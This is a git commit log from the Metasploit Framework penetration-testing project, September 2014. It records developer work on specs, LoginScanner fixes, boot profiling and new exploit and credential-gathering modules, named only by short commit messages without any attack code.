opening the pdf works on Linux in addition to OSX.
2014-09-19 11:13:28 -05:00
jvazquez-r7 80d36ec08a Land #3833, @darkbushido's cucumber fixes 2014-09-19 11:03:41 -05:00
Josh Abraham 43171141da update for ntp modules 2014-09-19 11:14:11 -04:00
Josh Abraham c216cf8c53 added spoofing capabilities to udp_scanner 2014-09-19 10:29:05 -04:00
Martin Vigo f30f3392aa Add module to extract/decrypt LastPass credentials 2014-09-18 23:40:05 -07:00
mfadzilr 677d035ce8 added proper regex for check function
add comment for changed code
2014-09-19 11:30:51 +08:00
Luke Imhoff b863978028 Remove fastlib
MSP-11368
MSP-11143

Remove fastlib as it slows down the code loading process.  From the
previous commit, the mean loading for
`METASPLOIT_FRAMEWORK_PROFILE=true msfconsole -q -x exit` was
27.9530±0.3485 seconds (N=10).  The mean after removal of fastlib
was 17.9820±0.6497 seconds (N=10).  This means an average 35.67%
reduction in boot time.
2014-09-18 15:24:21 -05:00
Jon Hart a54b23642e Relocate empty UDP scanner 2014-09-18 12:31:52 -07:00
Brendan Coles 6cad5d9aeb Add ManageEngine DeviceExpert User Credentials 2014-09-18 19:18:59 +00:00
Luke Imhoff 21b3d6bb4a Profiling support for msfconsole boot
Set METASPLOIT_FRAMEWORK_PROFILE=true in the environment.  Run
`./msfconsole -q -x exit`.  A pdf will be saved to
tmp/profiles/msfconsole/YYYYMMDDHHMMSS.pdf with the call graph with
numbers being in 100 samples per second.  The pdf is automatically
opened with `open`.
2014-09-18 14:09:38 -05:00
James Lee 1faa816a8a Land #3818, Metasploit::Concern loading 2014-09-18 13:06:41 -05:00
Luke Imhoff 39d302a120 Update metasploit_data_models
MSP-11359

Include fix for loading from metasploit_data_models/lib.
2014-09-18 12:35:26 -05:00
Luke Imhoff 8d38735f4a Update schema with detected_arch
MSP-11359
2014-09-18 12:35:09 -05:00
Luke Imhoff 44588cc014 Add detected_arch to expected hosts columns in spec
MSP-11359
2014-09-18 12:34:34 -05:00
Luke Imhoff 0f854ce5ed Update to released metasploit-model
MSP-11359
2014-09-18 11:33:41 -05:00
Luke Imhoff 03cc69d902 Update gems
MSP-11359
2014-09-18 11:33:22 -05:00
Luke Imhoff 21d6e4afb3 Move metasploit-concern to gemspec
MSP-11359

The dependency on `metasploit-concern` should not have been in the db
group as `Metasploit::Concern.run` is called for
`Msf::Exploit:Remote::HttpServer`, which works without the db group
installed.  This is a fix for a bug from #3781.
2014-09-18 09:33:57 -05:00
Tod Beardsley 5dad73a28f Explicitly require credential_collection
Otherwise, you run into a require ordering problem on some platforms.
This is not a great way to fix this -- but it's a fast way, and possibly
even a good way, since you're being explicit about what your module
requirements are.
2014-09-17 15:47:30 -05:00
Tod Beardsley b5c3c87790 Land #3812, discourage Meterpreter scripts 2014-09-17 15:32:15 -05:00
Tod Beardsley 4bbd107911 Land #3813, sponge left in patient 2014-09-17 15:28:54 -05:00
jvazquez-r7 64ac1e6b26 Rand padding 2014-09-17 08:09:09 -05:00
sinn3r 50fa5745bb Rm print_debug line
I forgot to remove this line while testing the module
2014-09-16 16:46:40 -05:00
sinn3r 5e076e0375 Text about not accepting changes to meterpreter scripts 2014-09-16 16:41:14 -05:00
jvazquez-r7 e593a4c898 Add comment about gadgets origin 2014-09-16 16:38:03 -05:00
sinn3r ffe0eca7fd Land #3609 - Fix gettelnet 2014-09-16 16:27:46 -05:00
James Lee 3e42fcbbab Land #3794, NDR encoding specs
MSP-11370 #land
2014-09-16 16:23:22 -05:00
sinn3r 07c14f5ee8 Land #3388 - Post mod to check Win32_QuickFixEngineering 2014-09-16 16:18:04 -05:00
sinn3r 36a3abe036 Add a reference 2014-09-16 16:17:22 -05:00
Joe Vennix a846d084ca Lands #3806, @dmaloney-r7's fixes to SMB LoginScanner. 2014-09-16 15:35:53 -05:00
David Maloney 5ff4a55cd2 smb connection error not setting result properly
if the initial connection from the SMB LoginScanner fails
it wouldn't set the target information on the result. this could cause
smb_login to throw a stack trace when it calls invalidate_login
2014-09-16 15:24:14 -05:00
jvazquez-r7 80f02c2a05 Make module ready to go 2014-09-16 15:18:11 -05:00
David Maloney e5aa5c4014 missing postgres rescues 2014-09-16 15:04:07 -05:00
sinn3r 169d04020d Land #3571 - Add Wordpress XML-RPC Login Scanner (with LoginScanner) 2014-09-16 14:51:24 -05:00
sinn3r 4ed1fa55f5 Don't need this header 2014-09-16 14:50:32 -05:00
darkbushido 835f224b3c tagging the module tests as WIP since proxies keep showing up in options 2014-09-16 14:35:57 -05:00
Samuel Huckins 70400803ee Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-09-16 14:21:10 -05:00
William Vu 35b8c2be4b Land #3800, release fixes 2014-09-16 14:05:23 -05:00
Samuel Huckins 4c3c8e5337 Land #3795, various LoginScanners shored up 2014-09-16 13:55:26 -05:00
sinn3r b028424152 Land #3752 - add "show missing" 2014-09-16 13:45:13 -05:00
David Maloney aeed66b694 missing mysql rescue 2014-09-16 13:41:03 -05:00
William Vu cf13597048 Land #3801, REMOTE_JS for Android UXSS
For BeEF integration, etc.
2014-09-16 13:38:40 -05:00
Joe Vennix 59dfa624c4 Add a REMOTE_JS datastore option for BeEf hooks etc. 2014-09-16 13:31:03 -05:00
David Maloney d708de07a3 return the lgoinscanner class name in an invalid exception
when a loginScanner throws an Invalid exception , the message
will now include the classname of the Scanner that threw it.
2014-09-16 13:24:08 -05:00
sinn3r 3e09283ce5 Land #3777 - Fix struts_code_exec_classloader on windows 2014-09-16 13:09:58 -05:00
sinn3r ceaf1d64d0 Land #3799 - Add CVE-2014-5519: phpwiki/ploticus RCE 2014-09-16 12:56:04 -05:00
sinn3r 158d4972d9 More references and pass msftidy 2014-09-16 12:54:27 -05:00
Tod Beardsley bd17c96a6e Dropped a hyphen in the title 2014-09-16 12:47:44 -05:00
Vincent Herbulot 7a7b6cb443 Some refactoring
Use EDB instead of URL for Exploit-DB.
Remove peer variable as peer comes from HttpClient.
2014-09-16 17:49:45 +02:00
David Maloney 6decd3cbd2 fix exceptions thrown in telnet loginscanner too 2014-09-16 10:09:59 -05:00
mfadzilr 978803e9d8 add proper regex 2014-09-16 21:49:02 +08:00
HD Moore 29eb3ebf86 Fix up the StageEncodingFallback logic and error handling 2014-09-15 21:56:35 -05:00
HD Moore 4d3e353028 Merge pull request #2 from agix/multipleStageEncoders
Unblock when invalid encoder is selected and allow multiple encoder
2014-09-15 20:54:41 -05:00
us3r777 4c615ecf94 Module for CVE-2014-5519, phpwiki/ploticus RCE 2014-09-16 00:09:41 +02:00
jvazquez-r7 ca4c4f55bd Add specs for Rex::Encoder::Alpha2::UnicodeMixed 2014-09-15 17:05:08 -05:00
jvazquez-r7 ee45056827 Add specs for Rex::Encoder::Alpha2::UnicodeUpper 2014-09-15 16:57:26 -05:00
jvazquez-r7 3dc53cd013 Add specs for Rex::Encoder::Alpha2::AlphaMixed 2014-09-15 16:43:40 -05:00
jvazquez-r7 e8dce6ac59 Add specs for Rex::Encoder::Alpha2::AlphaUpper 2014-09-15 16:35:54 -05:00
jvazquez-r7 0e1ba8fb5e Use non aphanumeric badchar 2014-09-15 15:59:18 -05:00
jvazquez-r7 36e5dcd149 Fix shared examples 2014-09-15 15:56:19 -05:00
jvazquez-r7 2e126b6a68 Include it_behaves_like 2014-09-15 15:46:53 -05:00
jvazquez-r7 4064fb60ef Refactor specs for Rex::Encoder::Alpha2::Generic 2014-09-15 15:43:31 -05:00
jvazquez-r7 2728318358 Add specs for Rex::Encoder::Alpha2::Generic 2014-09-15 15:26:13 -05:00
David Maloney bf8f7221c7 rescue exceptions in check_setup 2014-09-15 13:52:17 -05:00
jvazquez-r7 3f5fdaebb4 Add specs for Rex::Encoder::NDR 2014-09-15 13:49:18 -05:00
jvazquez-r7 7d4c4c3658 Land #3699, @dmaloney-r7's ipboard login refactor 2014-09-15 08:29:42 -05:00
mfadzilr 783b03efb6 change line 84 as mubix advice, update disclosure date according to
bugtraq security list.
2014-09-15 17:21:05 +08:00
agix 9cbc7e46a3 Fix suggested stuff
https://github.com/hmoore-r7/metasploit-framework/pull/2
2014-09-15 09:47:06 +02:00
mfadzilr 9860ed340e run msftidy, make correction for CVE format and space at EOL (line 77) 2014-09-15 13:13:25 +08:00
mfadzilr f1d3c44f4f exploit module for HTTP File Server version 2.3b, exploiting HFS scripting commands 'save' and 'exec'. 2014-09-15 12:59:27 +08:00
mfadzilr 74ef83812a update module vulnerability information 2014-09-15 01:43:18 +08:00
mfadzilr 8b4b66fcaa initial test 2014-09-14 12:26:02 +08:00
HD Moore b8a1010ba4 Switch to Array#union and rename preserved_registers 2014-09-13 22:48:14 -05:00
jvazquez-r7 3a6066792d Work in rop chain... 2014-09-13 17:38:19 -05:00
dmaloney-r7 8452ac1d37 Merge pull request #14 from jvazquez-r7/review_3699
Add specs for #attempt_login
2014-09-13 11:56:18 -05:00
agix c71428be50 Choose fallback if stage encoding fail 2014-09-13 13:56:54 +02:00
HD Moore 6bd3675f03 Land #3680, add specs for Rex::MIME 2014-09-13 00:34:39 -05:00
HD Moore 6a2a85d2c4 Land #3789, adds specs for Rex::Proto::Http::Packet::Header
orts
2014-09-13 00:21:43 -05:00
jvazquez-r7 9e21cc8ad4 Add specs for invalid IPBoard application 2014-09-12 16:14:10 -05:00
jvazquez-r7 917a7ffa1e Add specs for valid IPBoard application 2014-09-12 16:08:03 -05:00
jvazquez-r7 83bf220a10 Land #3730, @TomSellers's post module for Remote Desktop Connection Manager 2014-09-12 15:38:33 -05:00
jvazquez-r7 5da6a450f1 fix find condition 2014-09-12 15:21:50 -05:00
jvazquez-r7 1749fc73c2 Change module filename 2014-09-12 15:05:33 -05:00
Cucumber b80519dc16 Lands #3779, specs
MSP-11343

Merge specs that I missed during last merge.
2014-09-12 14:49:26 -05:00
James Lee f68628c487 Add minimal specs for rex/proto/http/packet/header 2014-09-12 14:30:27 -05:00
jvazquez-r7 95b6529579 Fix run method 2014-09-12 14:27:25 -05:00
jvazquez-r7 373861abb0 Land #3526, @jhart-r7's soap_xml scanner cleanup 2014-09-12 13:29:52 -05:00
jvazquez-r7 12f949781a Use double quote for xml strings 2014-09-12 13:18:48 -05:00
jvazquez-r7 8bf639faba Land #3785, @jvennix-r7's detection for firefox 29-32 2014-09-12 12:26:51 -05:00
sinn3r 12e3cb3c6a Land #3764 - Add specs for Rex::Encoder::NonAlpha 2014-09-12 12:09:55 -05:00
sinn3r 54c353a15e Land #3788 - Adds a spec to ensure HttpServer runs Concern hooks. 2014-09-12 12:05:55 -05:00
jvazquez-r7 e810acd4e9 Land #3748, @wchen-r7's HP System Management Homepage LoginScanner Upgrade 2014-09-12 11:13:14 -05:00
Joe Vennix 87aeac2b13 Fix syntax error in os.js, specs ftw. 2014-09-12 11:01:08 -05:00
Joe Vennix a617556f29 Add a helpful comment. 2014-09-12 10:55:08 -05:00
Joe Vennix 0194674542 Oops. Don't duplicate spec block. 2014-09-12 10:54:30 -05:00
Joe Vennix 46f256a6bd Adds a spec to ensure HttpServer runs Concern hooks. 2014-09-12 10:52:57 -05:00
jvazquez-r7 67c0ee654b Use Gem::Version 2014-09-12 10:35:12 -05:00
jvazquez-r7 25a09ea227 Fix valid requests specs 2014-09-12 10:30:17 -05:00
William Vu 2977e8e102 Add msfcli (M)issing 2014-09-12 10:25:13 -05:00
William Vu 425874315c Add show missing 2014-09-12 10:23:12 -05:00
jvazquez-r7 0d054d8354 Update with master changes 2014-09-12 09:52:32 -05:00
jvazquez-r7 183ba3422d Add specs for logins 2014-09-12 09:50:32 -05:00
jvazquez-r7 b8d31891f8 Clean YARD documentation 2014-09-12 09:32:32 -05:00
jvazquez-r7 e2ef927177 Add first version for ZDI-14-255 2014-09-12 08:57:54 -05:00
William Vu 69d0fad5a6 Land #3724, NetworkManager creds module 2014-09-12 06:52:39 -05:00
William Vu 18e99589a5 Fix word splitting problem 2014-09-12 06:51:57 -05:00
William Vu 60b29cbd5e Fix word splitting problem 2014-09-12 06:50:53 -05:00
agix 7485d9172a Rescue only NoEncodersSucceededError to pass the tests 2014-09-12 13:30:03 +02:00
William Vu 8a6a205e39 Land #3724, NetworkManager creds module 2014-09-12 05:48:35 -05:00
William Vu 131401f024 Remove unused method 2014-09-12 05:48:11 -05:00
agix 28e61edef4 Unblock when invalid encoder is selected and allow multiple encoder 2014-09-12 12:48:09 +02:00
cdoughty-r7 54bbb0d495 Merge pull request #3786 from bturner-r7/rake-without-cucumber
Fix rake when cucumber gem is not present
2014-09-11 23:13:55 -05:00
Brandon Turner ba848c963a Fix rake when cucumber gem is not present 2014-09-11 22:31:57 -05:00
Joe Vennix 8e091b6da0 Add support for ff 29 - 32 feature. 2014-09-11 22:01:36 -05:00
Joe Vennix 55519d8867 Land #3781, my addition of Metasploit::Concern to msf. 2014-09-11 16:57:24 -05:00
darkbushido 090338f575 changing the cucumber timeout to 4 minutes.... 2014-09-11 16:54:19 -05:00
darkbushido 4ef60d1a00 removing unused step files
changing the ms08_067 tests to fail when proxies show up in the wrong section
2014-09-11 16:51:49 -05:00
Tod Beardsley c07e9008b9 Land #3778, fix CONTRIBUTING.md typos 2014-09-11 16:06:38 -05:00
Luke Imhoff 706655f755 Land #3779, Glassfish LoginScanner exception
MSP-11343
2014-09-11 15:57:47 -05:00
darkbushido 93cd53a800 setting cucumber-rails require to false in Gemfile
this stops the warning about cucumber being double required from showing up
2014-09-11 15:47:42 -05:00
Tod Beardsley d2f2b142b4 Land #3760, Arris WEP/WPA leak from @dheiland-r7 2014-09-11 15:39:19 -05:00
Tod Beardsley 0ed7f19eb2 Land #3780, msfelfscan use correct offsets 2014-09-11 15:28:18 -05:00
Joe Vennix 6ade4d8dab Kill empty line in Gemfile. 2014-09-11 14:47:17 -05:00
Joe Vennix 8654b63c58 Make sure Metasploit::Concern is accessible everywhere. 2014-09-11 14:46:35 -05:00
David Maloney 0663355237 catch connectionreset in ftp login scanner
add exception rescue for Errno::ECONNRESET
2014-09-11 14:39:36 -05:00
Tod Beardsley 4fc1ec09c7 Land #3759, Android UXSS, with ref/desc fixes
Incidentally, this also closes jvennix-r7#14 (let's see if I can close a
PR by merging from another repo!)

Also fixes #3782 (opened by accident).
2014-09-11 14:27:51 -05:00
Tod Beardsley fbba4b32e0 Update the title and desc to be more descriptive
See #3759
2014-09-11 14:06:14 -05:00
Tod Beardsley d627ab7628 Add refs for Android UXSS
See #3759
2014-09-11 14:05:50 -05:00
Joe Vennix 37e6173d1f Make Metasploit::Concern a first-class dep.
Also adds a Concern hook to HttpServer, so Pro can more
easily change its behavior.
2014-09-11 13:28:45 -05:00
James Lee 0ab36453b9 Add another header spec 2014-09-11 12:20:54 -05:00
James Lee a8e3ff0c0f Add specs to verify server header matching 2014-09-11 11:42:38 -05:00
James Lee 9151c2c79d Add docstrings and avoid multiple returns 2014-09-11 10:50:42 -05:00
James Lee 20e48a233a Explicitly set @version to nil if we can't detect 2014-09-11 10:30:52 -05:00
Cenk Kalpakoğlu 11004ab7c6 typo fix 2014-09-11 16:27:35 +03:00
Sascha Schirra be0c68d8bb BUGFIX: wrong imagebase used 2014-09-11 12:33:09 +02:00
Sascha Schirra 88cacd000e flags for phdr.p_flags added 2014-09-11 12:31:44 +02:00
James Lee 8aa06b8605 Better api for check_setup 2014-09-10 23:43:54 -05:00
HD Moore 71228b48a0 Update 3 more encoders to be StageEncoder compatible
This could probably use some DRY love via a mixin
2014-09-10 20:21:35 -05:00
James Lee c1658e5d51 Add a check_setup method 2014-09-10 20:09:46 -05:00
James Lee 84e4db9035 Don't raise in the middle
MSP-11343

This means we don't bomb out with an unhandled exception, instead
continuing attempting logins against the host even though it will never
succeed. Next up: verify state before running scan!()
2014-09-10 20:09:33 -05:00
HD Moore 815e007f48 Fix two cosmetic typos 2014-09-10 19:07:40 -05:00
Tod Beardsley 9fcf87b27b Detypo CONTRIBUTING.md 2014-09-10 18:26:09 -05:00
Tod Beardsley deaf0eb3d1 Merge pull request #1 from rapid7/master
I wonder if this PR will work.
2014-09-10 18:23:54 -05:00
Jon Hart 5477d5452e Land @todb-r7's #3776, s/redmine/github issues/g 2014-09-10 16:16:32 -07:00
Deral Heiland 872ba6a53b Update arris_dg950 module with required changes
Collapsed several levels of the if/else statement and changed out 2 with
case. Changed print_good to print_line. Removed rescue ::Interrupt and
altered variable names to make them more readable
2014-09-10 19:07:53 -04:00
jvazquez-r7 373eb3dda0 Make struts_code_exec_classloader to work on windows 2014-09-10 18:00:16 -05:00
Tod Beardsley 1938cd8663 Update CONTRIBUTING.md
Fix a sentence.
2014-09-10 15:22:24 -05:00
Tod Beardsley 877c2dd394 Update CONTRIBUTING.md
Redmine is on its way out. See here: 

https://github.com/rapid7/metasploit-framework/wiki/Decommissioning-Redmine
2014-09-10 15:21:47 -05:00
sinn3r 65287e41cd Land #3773 - Fix windows cmd redirection in firefox payloads 2014-09-10 13:25:42 -05:00
Jon Hart e317bfe0d5 Add preliminary module for discovering services with empty UDP probes 2014-09-10 10:58:22 -07:00
sinn3r 280e16c241 Land #3677 - Updated shodan_search for new API 2014-09-10 11:39:00 -05:00
sinn3r 006393360e Add conditions to check healthy shodan results 2014-09-10 11:38:06 -05:00
sinn3r 6920c71541 Land #3775 - ssh_login_pubkey fix for the uninit prepended_creds bug
Closes #3774
2014-09-10 11:08:14 -05:00
James Lee 257f0fc93e Quick fix for ssh_login_pubkey
Fixes #3772, closes #3774
2014-09-10 09:57:17 -05:00
Joe Vennix 1bb6573570 Fix windows cmd redirection in ff payloads. 2014-09-10 00:47:05 -05:00
James Lee 99c9d5a578 Land #3683, cucumber tests for msfconsole 2014-09-09 21:28:45 -05:00
Jon Hart 495e1c14a1 Land #3721, @brandonprry's module for Railo CVE-2014-5468 2014-09-09 19:10:46 -07:00
Jon Hart 26d8432a22 Minor style and usability changes to @brandonprry's #3721 2014-09-09 19:09:45 -07:00
Brandon Perry db6052ec6a Update check method 2014-09-09 18:51:42 -05:00
sinn3r 1b4ceec4f9 Land #3743 - Add specs for Rex::Arch::X86 2014-09-09 17:24:08 -05:00
sinn3r 0a6ce1f305 Land #3727 - SolarWinds Storage Manager exploit AND Msf::Payload::JSP 2014-09-09 17:21:03 -05:00
sinn3r e82348f157 Land #3762 - Add specs for Rex::Arch::Sparc 2014-09-09 16:10:26 -05:00
us3r777 2ae23bbe99 Remove STAGERNAME option
This option wasn't really required, the stager can be removed as
soon as the WAR is deployed. This commit does the modifications needed
to remove the stager right after the WAR deployment.
2014-09-09 21:44:08 +02:00
HD Moore 6c0dae953d Stage encoding is now SaveRegister aware 2014-09-09 14:21:51 -05:00
sinn3r 027f543bdb Land #3732 - Eventlog Analzyer exploit 2014-09-09 11:33:20 -05:00
sinn3r 75269fd0fa Make sure we're not doing a 'negative' timeout 2014-09-09 11:26:49 -05:00
Cenk Kalpakoğlu 262b5413bc Merge pull request #1 from dmaloney-r7/wordpress-xmlrpc-login-scanner
Wordpress xmlrpc login scanner
2014-09-09 14:29:47 +03:00
Joe Vennix 7793ed4fea Add some common UXSS scripts. 2014-09-09 02:31:27 -05:00
jvazquez-r7 962c66b3bb Fix some descriptions 2014-09-08 18:17:24 -05:00
jvazquez-r7 8370bf0f2a Finish XDR specs 2014-09-08 18:05:09 -05:00
James Lee b8000517cf Land #3746, reinstate DB_ALL_CREDS 2014-09-08 17:24:12 -05:00
jvazquez-r7 44724d1141 Add specs for .decode_varray 2014-09-08 17:12:04 -05:00
jvazquez-r7 8af13592c2 Add first specs for Rex::Encoder::XDR 2014-09-08 16:25:53 -05:00
Tod Beardsley b9c8eb70c4 Land #3675, update copyright on Rex 2014-09-08 16:05:41 -05:00
HD Moore 250b3d227c Fix the rex.rb header and copyright date 2014-09-08 15:32:13 -05:00
David Maloney 2ac15f2088 some fixes based on Christruncer's feedback
fixed some stuff i borked, back to you chris
2014-09-08 15:27:01 -05:00
David Maloney cd3cdc5384 Merge branch 'master' into feature/ipboard-login-refactor 2014-09-08 14:48:37 -05:00
jvazquez-r7 f521cc598d Delete .encode specs, anyone uses the method, plus looks wrong 2014-09-08 14:42:43 -05:00
jvazquez-r7 9a74e60db3 Add specs for .encode 2014-09-08 14:32:33 -05:00
jvazquez-r7 11ca383d4f Add specs for .encode_byte 2014-09-08 14:24:03 -05:00
jvazquez-r7 3535a6a21d Add first specs for .gen_decoder and .encode_byte 2014-09-08 14:07:21 -05:00
William Vu b61d1dca88 Land #3763, release fixes 2014-09-08 14:02:45 -05:00
Tod Beardsley 4abee39ab2 Fixup for release
Ack, a missing disclosure date on the GDB exploit. I'm deferring to the
PR itself for this as the disclosure and URL reference.
2014-09-08 14:00:34 -05:00
David Maloney ef748fdef7 check if database is connected first
wooops
2014-09-08 12:54:19 -05:00
David Maloney 09e6c2f51f Merge branch 'master' into feature/MSP-11162/db-all-creds 2014-09-08 12:52:25 -05:00
David Maloney 16502b831f Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-09-08 12:45:52 -05:00
David Maloney b84142715f rescue mysql host blocked
rbmysql can throw an exception if the
server blocked this host due to too many connection errors
2014-09-08 12:45:10 -05:00
jvazquez-r7 4c15954be5 Add specs for Rex::Arch::Sparc 2014-09-08 11:59:52 -05:00
William Vu ae5a8f449c Land #3691, gdbserver hax 2014-09-08 11:48:39 -05:00
jvennix-r7 b48aa8f2ca Merge pull request #13 from wvu-r7/pr/3691
Add verify_checksum and use it
2014-09-08 11:41:54 -05:00
Deral Heiland 9a6ee5090a Add Arris DG950A SNMP data extraction module
This module will extract critical data such as WPA and WEP keys from
the Arris DG950a model cable modem via the SNMP protocal.
2014-09-08 11:04:31 -04:00
sinn3r 0ccb39c057 Land #3726 - Fix typos in wordpress login 2014-09-08 09:40:57 -05:00
cx 1b5e40ff78 New Creds model added 2014-09-08 11:42:05 +03:00
William Vu 5c1d95812c Add verify_checksum and use it
Also fixed a YARD typo.
2014-09-08 02:19:21 -05:00
Joe Vennix 27889ea411 Add a safety fallback on js load. 2014-09-08 00:46:47 -05:00
Joe Vennix 8407d45c9c Rework the timers. 2014-09-08 00:40:00 -05:00
Joe Vennix 5c9c8edfcf Fix refs. 2014-09-07 23:33:45 -05:00
Joe Vennix 5efaf7d4cf rename module, handle asyncness. 2014-09-07 23:25:08 -05:00
jvazquez-r7 10bb77af9f Land #3716, @wchen-r7's Glassfish LoginScanner update 2014-09-07 21:54:34 -05:00
jvazquez-r7 6cdfd322f2 change should to expect 2014-09-07 21:35:33 -05:00
jvazquez-r7 e6f7b35d0d Use context to describe #attempt_login 2014-09-07 21:26:01 -05:00
jvazquez-r7 f266ca99f5 Use allow_any_instance_of as with rspec 3 2014-09-07 21:18:22 -05:00
jvazquez-r7 768b50974f Redo try_glassfish_3 specs 2014-09-07 21:04:43 -05:00
jvazquez-r7 07238ef7b3 Redo try_glassfish_2 specs 2014-09-07 20:47:54 -05:00
Joe Vennix 1bf89fb6bd Add Android <= 4.3 AOSP UXSS module. 2014-09-07 20:44:03 -05:00
jvazquez-r7 9a42e7635a Use expect instead of should on try_login 2014-09-07 20:01:44 -05:00
jvazquez-r7 06207afb12 Use expect instead of should 2014-09-07 19:37:24 -05:00
jvazquez-r7 424d1ec47f Add example to describe how send_request handles a JSESSIONID cookie 2014-09-07 19:33:56 -05:00
jvazquez-r7 28aa7429ed Land #3751, @wchen-r7's [FixRM #8836] Use windows\\win.ini vs boot.ini 2014-09-07 01:47:10 -05:00
jvazquez-r7 c86d01a667 Fix win.ini signature 2014-09-07 01:46:38 -05:00
William Vu 422d6bd2e4 Land #3758, nil deref fix for iax2/call.rb 2014-09-06 16:08:32 -05:00
HD Moore af24e30ae9 Return instead of crashing if no challenge is received 2014-09-06 15:51:50 -05:00
sinn3r ff6cce8bd1 3rd person 2014-09-06 01:56:39 -05:00
sinn3r 6df7658267 Very small change to the doc 2014-09-06 01:54:52 -05:00
sinn3r 419b2136b1 remove the "instance methods" context 2014-09-06 01:42:48 -05:00
sinn3r c8ccb5e848 In 3rd person 2014-09-06 01:39:32 -05:00
sinn3r febf70fed1 Merge pull request #21 from jvazquez-r7/review_3716
Clean YARD documentation
2014-09-06 01:22:58 -05:00
sinn3r 44b9dc9b28 Update tmlisten_traversal 2014-09-06 01:18:11 -05:00
jvazquez-r7 78cf75c4d5 Clean YARD documentation 2014-09-06 00:24:39 -05:00
William Vu 7d942be715 Land #3755, WVE and BPS reference removal 2014-09-05 19:56:40 -05:00
sinn3r 0d56a8ee14 Merge pull request #20 from wvu-r7/pr/3755
Remove WVE references from msftidy
2014-09-05 19:55:38 -05:00
William Vu 48e098b172 Remove WVE references from msftidy 2014-09-05 19:28:27 -05:00
Samuel Huckins 643329e2c4 Land #3757, postgres login scanner nil public fix 2014-09-05 16:35:46 -05:00
jvennix-r7 671c7f1095 Merge pull request #12 from wvu-r7/pr/3691
Fix read_ack to read only the ACK
2014-09-05 16:09:38 -05:00
David Maloney 0d9fbe798a turn nil publics and privates into blanks
don't pass nil into the credential object, pass an empty string instead
this is the expected behaviour and avoids stack traces
2014-09-05 16:06:58 -05:00
jvazquez-r7 df278dd2dc Conver to exploit 2014-09-05 14:47:33 -05:00
sinn3r ce0e7b59f5 Remove WVE and BPS reference identifiers
Reasons why they should be gone:

WVE:
* wirelessve.org is down.
* Not a single module uses WVE as a reference

BPS:
* "BreakingPoint" no longer exists
* The URL takes you to a login page to ixia. And there is no point
  of referencing something people can't see.
* Not a single module uses BPS as a reference.
2014-09-05 13:28:10 -05:00
William Vu b6e04599a7 Fix read_ack to read only the ACK
It was reading the response, too. Also removed an extraneous send_ack.
2014-09-05 12:30:59 -05:00
jvazquez-r7 d4a8b7e00d Move to exploits 2014-09-05 10:38:28 -05:00
jvazquez-r7 892f72e4ce Move module path 2014-09-05 10:30:27 -05:00
jvazquez-r7 d041ee6629 Delete exploit modules from this branch 2014-09-05 10:29:24 -05:00
William Vu 9a7d1b2390 Land #3733, "guest" for ipmi_users.txt 2014-09-04 21:11:42 -05:00
Chris Hebert abffdd8705 Update alienvault_newpolicyform_sqli.rb
cleaned up according to msftidy.rb suggestions

modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:17 - [WARNING] Spaces at EOL
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:18 - [WARNING] Tabbed indent: "\tlack of input filtering to read an arbitrary file from the file system.\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:29 - [WARNING] Space-Tab mixed indent: "\t [ 'OSVDB', '106815' ],\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:29 - [WARNING] Tabbed indent: "\t [ 'OSVDB', '106815' ],\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:30 - [WARNING] Space-Tab mixed indent: "\t [ 'EDB', '33317'],\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:30 - [WARNING] Tabbed indent: "\t [ 'EDB', '33317'],\n"
modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb:110 - [WARNING] Spaces at EOL
2014-09-04 21:46:37 -04:00
Chris Hebert 664cc131e3 Update alienvault_newpolicyform_sqli.rb
added 'ctx' variable relating to jvazquez-r7 note added on Jun 9
2014-09-04 21:34:24 -04:00
sinn3r 08ce278cca Got these wrong 2014-09-04 17:05:51 -05:00
sinn3r cb490fc00e [SeeRM #8836] Change boot.ini to win.ini 2014-09-04 17:03:21 -05:00
jvazquez-r7 d83131f1d9 Land #3750, @wvu favoring unless 2014-09-04 16:17:07 -05:00
jvazquez-r7 ff210a7c0a delete parenthesis 2014-09-04 16:16:29 -05:00
sinn3r 85b48fd437 Land #3736 - Revert initial ff xpi prompt bypass for Firefox 22-27 2014-09-04 16:08:15 -05:00
jvazquez-r7 f063dcf0f4 Land #3741, @pedrib's module for CVE-2014-5005 Desktop Central file upload 2014-09-04 15:44:21 -05:00
jvazquez-r7 f466b112df Minor cleaning on check 2014-09-04 15:43:59 -05:00
jvazquez-r7 74b8e8eb40 Change module filename 2014-09-04 15:39:34 -05:00
jvazquez-r7 c32b977a27 Land #3747, @wvu changes to printer_ready_message 2014-09-04 15:26:52 -05:00
William Vu 2d8c7a7a4d Refactor if statement to early return
This eliminates the protracted if statement and aligns the code body.
2014-09-04 15:05:30 -05:00
William Vu 614c7c178d Land #3749, jtr_oracle_fast missing require fix 2014-09-04 15:03:37 -05:00
jvazquez-r7 c1bca5c138 Land #3742, @pedrib's changes to desktopcentral_file_upload check method 2014-09-04 14:47:36 -05:00
jvazquez-r7 7563c0bd0e Use Gem::Version 2014-09-04 14:40:13 -05:00
HD Moore 34455b5dc6 Fix missing require for jtr_oracle_fast 2014-09-04 14:38:07 -05:00
William Vu 50ac8366fd Refactor CHANGE/RESET to actions
Missed in c1fdc4d945.
2014-09-04 14:36:04 -05:00
jvazquez-r7 2615a7a3be Favor \&\& and || operands 2014-09-04 14:35:37 -05:00
sinn3r 0dcf481d76 This one is good to go 2014-09-04 14:13:33 -05:00
William Vu 4c12521ab2 Fix an incomplete refactor 2014-09-04 13:32:25 -05:00
William Vu 84f9ec0aad Refactor implicit options hash
Missed in c1fdc4d945.
2014-09-04 13:30:06 -05:00
David Maloney 00ec47fb83 call new prepend cred methods
add method calls o all the lgoinscanner modules
so that they call the prepend_db_* methods as approrpiate
these methods automatically check to see if DB_ALL_CREDS was
selected
2014-09-04 12:32:35 -05:00
David Maloney 093f488360 add db_all_cred methods to authbrute
adds 3 methods to add db_all_creds functionality back to
the loginscanners
2014-09-04 12:20:42 -05:00
David Maloney c5755824a6 pass in vhost and useragent
have http loginscanner modules pass in VHOST
and Useragent to the LoginScanner classes
2014-09-04 11:02:19 -05:00
David Maloney 28427ccee3 add VHOST and useragent support to loginscanner 2014-09-04 10:59:07 -05:00
